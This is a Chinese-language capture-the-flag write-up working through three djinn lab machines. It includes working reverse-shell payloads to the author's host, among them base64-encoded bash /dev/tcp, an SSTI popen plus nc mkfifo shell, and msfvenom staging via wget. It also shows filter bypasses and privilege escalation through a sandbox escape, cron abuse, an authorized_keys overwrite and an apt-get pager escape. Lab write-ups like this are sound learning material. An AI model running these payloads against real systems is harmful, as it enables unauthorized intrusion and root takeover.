djinn-1
信息搜集

22端口服务虽然开着,但处于tcpwrapped状态,即非白名单主机无法连接

7331有个静态页面

扫描目录

ftp登录
有ftp端口,hydra爆破试下

ftp用户好像随便登录。。。登上去看看目录下有三个文件

下载下来看看

cred.txt得知存在nitu用户
game.txt说1337端口有个游戏,直接访问不到,nc成功连接是个计算的小游戏

message.txt是个留言
端口敲门
game.txt提示回答一千次答案就有礼物,那么利用pwntools写个脚本
from pwn import *
def result(raw1,raw2,raw3):
if raw2 == '+':
return int(raw3+raw1)
if raw2 == '-':
return int(raw3-raw1)
if raw2 == '*':
return int(raw3*raw1)
if raw2 == '/':
return int(raw3/raw1)
s = remote('192.168.119.136','1337')
res = s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()+s.recvline()
res2 = str(res,encoding='UTF-8')
res3 = list(res2)
raw1 = int(res3[-3])
raw2 = res3[-7]
raw3 = int(res3[-11])
re = result(raw1,raw2,raw3)
print(raw1,raw2,raw3)
print(re)
s.sendline(str(re))
i=0
while(1):
i+=1
print('第'+str(i)+'次')
if i>1000:
print(s.recvline()+s.recvline()+s.recvline())
exit(1)
res4=s.recvline()
print(res4)
res5 = str(res4,encoding='UTF-8')
res6 = list(res5)
raw4 = int(res6[-3])
raw5 = res6[-7]
raw6 = int(res6[-11])
re2 = result(raw4,raw5,raw6)
print(re2)
s.sendline(str(re2))

给了三个数字,猜测可能是三个端口号,想起了之前的端口敲门服务,试一下
现在的ssh是不可访问的

依次‘敲'1356,6784,3409,可能失败,多敲几次就开了

ssh登录
现在只知道有个nitu用户,但没有密码无法登录,继续看另一条线,之前扫目录得到的wish
访问有个命令框,扫出个命令执行

测试一下,输入ls,跟随跳转是可以看到回显的

那么试试nc连接shell
显示

bash同样回显,可能过滤了/bin/sh字符
那么把payload base64转换处理试试

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOS4xMjgvOTk5OSAwPiYxCg==" | base64 -d | bash

在.dev目录下找到nitish用户的密码

sudo -l得知genie命令免密

python沙箱逃逸提权
查看帮助


有两个貌似可以执行命令的参数,试一下
直接进来了。。。。

继续

又是个奇怪的游戏

退出的时候看着像python,试试沙箱逃逸
__import__("os").system("whoami")

那么直接
__import__("os").system("/bin/sh")

root目录下通关信息

djinn-2
信息搜集

ftp可以匿名登录,查看目录下还是有三个文件


nitu用户仍然存在,并且说时解雇了sam并且雇佣了一个新的成员ugtan
1337端口nc连接又是一个小游戏,但这里回答两次就给一句名人名言

5000端口服务不接受get请求,但post上去显示访问拒绝
7331端口依旧是静态界面

扫目录结果如下

robots.txt

source文件下载打开
import re
from time import sleep
import requests
URL = "http://{}:5000/?username={}&password={}"
def check_ip(ip: str):
"""
Check whether the input IP is valid or not
"""
if re.match(r'^(?:(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
'(\.(?!$)|$)){4}$', ip):
return True
else:
return False
def catcher(host, username, password):
try:
url = URL.format(host, username, password)
requests.post(url)
sleep(3)
except Exception:
pass
print("Unable to connect to the server!!")
def main():
print("If you have this then congratulations on being a part of an awesome organization")
print("This key will help you in connecting to our system securely.")
print("If you find any issue please report it to ugtan@djinn.io")
ip = input('\nIP of the machine: ')
username = input('Your username: ')
password = input('Your password: ')
if ip and check_ip(ip) and username == "REDACTED" and password == "REDACTED":
print("Verifiying %s with host %s " % (username, ip))
catcher(ip, username, password)
else:
print("Invalid IP address given")
if __name__ == "__main__":
main()
发现是5000端口服务的登录方式,这时xray也扫到了5000端口登录的命令注入

但依旧是过滤了bash和nc等等,之前的base64方式也用不了了
wish目录下仍然是个对话框,但就像他说的,命令注入已经修复

Getshell
感觉突破口就只剩下5000端口的rce了,之前已经测试发现过滤了很多东西,查看下具体

直接弹不了shell,但这里注意到靶机的wget是可以用的,那么我们可以利用生成后门,远程下载之后在靶机上执行
msfvenom生成linux可执行文件

本地python启一个http服务,靶机上wget下载到tmp目录,chmod 777 /tmp/hack.elf
赋予执行权限

本地msf准备监听

执行exploit,burp执行/tmp/hack.elf
可以看到已经成功得到session

python用不了直接nc或者bash弹出来


backups目录下除了一堆备份文件还找到一个kdbx文件

baidu一下

说是可以用keepass打开,nc把文件传出来,windows下keepass下打开看看
但是需要一个密码才能打开这个文件

正好之前的creds.txt里有一串字符串

输进去看看,成功,点击general,右键复制密码成功得到nitish用户的密码&HtMGd$LJB

命令注入
那么切换nitu用户,但权限不足无法直接切换,ssh连接成功

一番寻找无果,查看端口进程发现2843端口一直在监听本地地址

有一些功能

1,3展示,2没权限,4原样输入和展示,5可以添加给6查看
但第6个选项注意到它在读取之前是会进行一项cat操作的,并且对象是通过5添加的文件名

我们添加一个etc/passwd试试
成功读取

因此我们知道这里存在一个命令执行

那么试着反弹shell
bash和nc都失败


base64成功反弹shell
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOC4xMDgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'


cronjob提权
/var/mail目录下有封邮件

告诉说他已经在家目录里面创建好了目录,应该是这

说你可以创建一个clean.sh并且cronjob会自动提交任务执行,那么写入bash,监听端口等待执行即可


成功获取root权限,完成

djinn-3
信息搜集
端口开放及服务
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-18 05:50 EST
Nmap scan report for 192.168.117.40
Host is up (0.00016s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
31337/tcp open Elite
MAC Address: 00:0C:29:66:A8:11 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 3.62 seconds
80端口

目录扫描无结果
5000端口

点击link

对id参数测试无结果
31337端口需要登录认证

Getshell
观察5000端口页面信息

提到存在一个guest用户,登录试试

发现利用open命令新建一个ticket会直接显示在5000端口的页面

试试命令注入,插入php代码和命令均无果
翻回去看,信息搜集没做好,nmap没探测清楚5000端口的命令,重新探测
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-18 06:25 EST
Nmap scan report for 192.168.117.40
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
| 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp open http lighttpd 1.4.45
|_http-server-header: lighttpd/1.4.45
|_http-title: Custom-ers
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31337/tcp open Elite?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
| username>
| GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| username> password> authentication failed
| Help:
| username> password>
| RPCCheck:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in <module>
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SSLSessionReq:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in <module>
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| TerminalServerCookie:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in <module>
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
|_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
编程语言是python,会将输入的信息显示到网页,考虑ssti模板注入
open创建一个测试ticket

成功回显

那么利用ssti命令执行
payload:
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

那么弹个shell
{{config.__class__.__init__.__globals__['os'].popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.104 8888 >/tmp/f").read()}}

ssh免密登录
home用户下存在三个用户

发现opt目录下还有两个pyc文件

下载下来反编译看看
.configuration.cpython-38.pyc
import os, sys, json
from glob import glob
from datetime import datetime as dt
class ConfigReader:
config = None
@staticmethod
def read_config(path):
"""Reads the config file
"""
config_values = {}
try:
with open(path, 'r') as (f):
config_values = json.load(f)
except Exception as e:
try:
print("Couldn't properly parse the config file. Please use properl")
sys.exit(1)
finally:
e = None
del e
else:
return config_values
@staticmethod
def set_config_path():
"""Set the config path
"""
files = glob('/home/saint/*.json')
other_files = glob('/tmp/*.json')
files = files + other_files
try:
if len(files) > 2:
files = files[:2]
else:
file1 = os.path.basename(files[0]).split('.')
file2 = os.path.basename(files[1]).split('.')
if file1[(-2)] == 'config':
if file2[(-2)] == 'config':
a = dt.strptime(file1[0], '%d-%m-%Y')
b = dt.strptime(file2[0], '%d-%m-%Y')
if b < a:
filename = files[0]
else:
filename = files[1]
except Exception:
sys.exit(1)
else:
return filename
两个函数,read_config读取路径下config文件,set_config_path搜索对应路径下以json格式结尾的两个文件,将文件名以.
为间隔分为数组,使用strptime函数处理获取文件的时间为日期格式,使得file1,file为形如['xx-xx-xx','config','.json']
的格式,比较两个文件的时间,若是/tmp文件下文件较早,返回home目录下json文件,相反返回/tmp目录下json文件
.syncer.cpython-38.pyc
from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *
def main():
"""Main function
Cron job is going to make my work easy peasy
"""
configPath = ConfigReader.set_config_path()
config = ConfigReader.read_config(configPath)
connections = checker(config)
if 'FTP' in connections:
ftpcon(config['FTP'])
else:
if 'SSH' in connections:
sshcon(config['SSH'])
else:
if 'URL' in connections:
sync(config['URL'], config['Output'])
if __name__ == '__main__':
main()
main函数根据文件内容选择连接方式
通过上传的工具查看进程可以知道saint目录下会定时执行脚本文件

猜测是执行上面两个脚本,已知文件格式,尝试构造文件,利用main的连接方式进行ssh免密登录
首先ssh-keygen
在本机生成一个公私钥对
复制id_rsa.pub内容,新建一个authorized_keys文件

创建20-11-2020.config.json
文件,内容如下
{
"URL":"http://192.168.118.108:9901/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"
}
完成后本地python开一个http服务器等待

靶机tmp目录wget下载json文件

这样,脚本执行时就会下载本机的key再输出覆盖到saint用户的key,从而实行远程ssh免密登录
等待saint用户home下脚本执行,成功ssh登录

添加用户
sudo -l
可以免密执行adduser

可以添加root组用户


查看sudoers文件
有了root权限,可以查看其他可以执行sudo组命令的文件

jason用户不存在,返回saint用户创建

apt-get提权
apt除了可以安装包之外

查看它的帮助选项

有个changelog命令可以展示目标包的变更日志,并且测试发现是分页模式下阅读
之前已经学到,如果我们在这种分页状态下输入诸如!+command
的指令,命令就会执行
输入sudo apt-get changelog tree
,在分页模式下输入bash

成功执行,拿到root权限

完成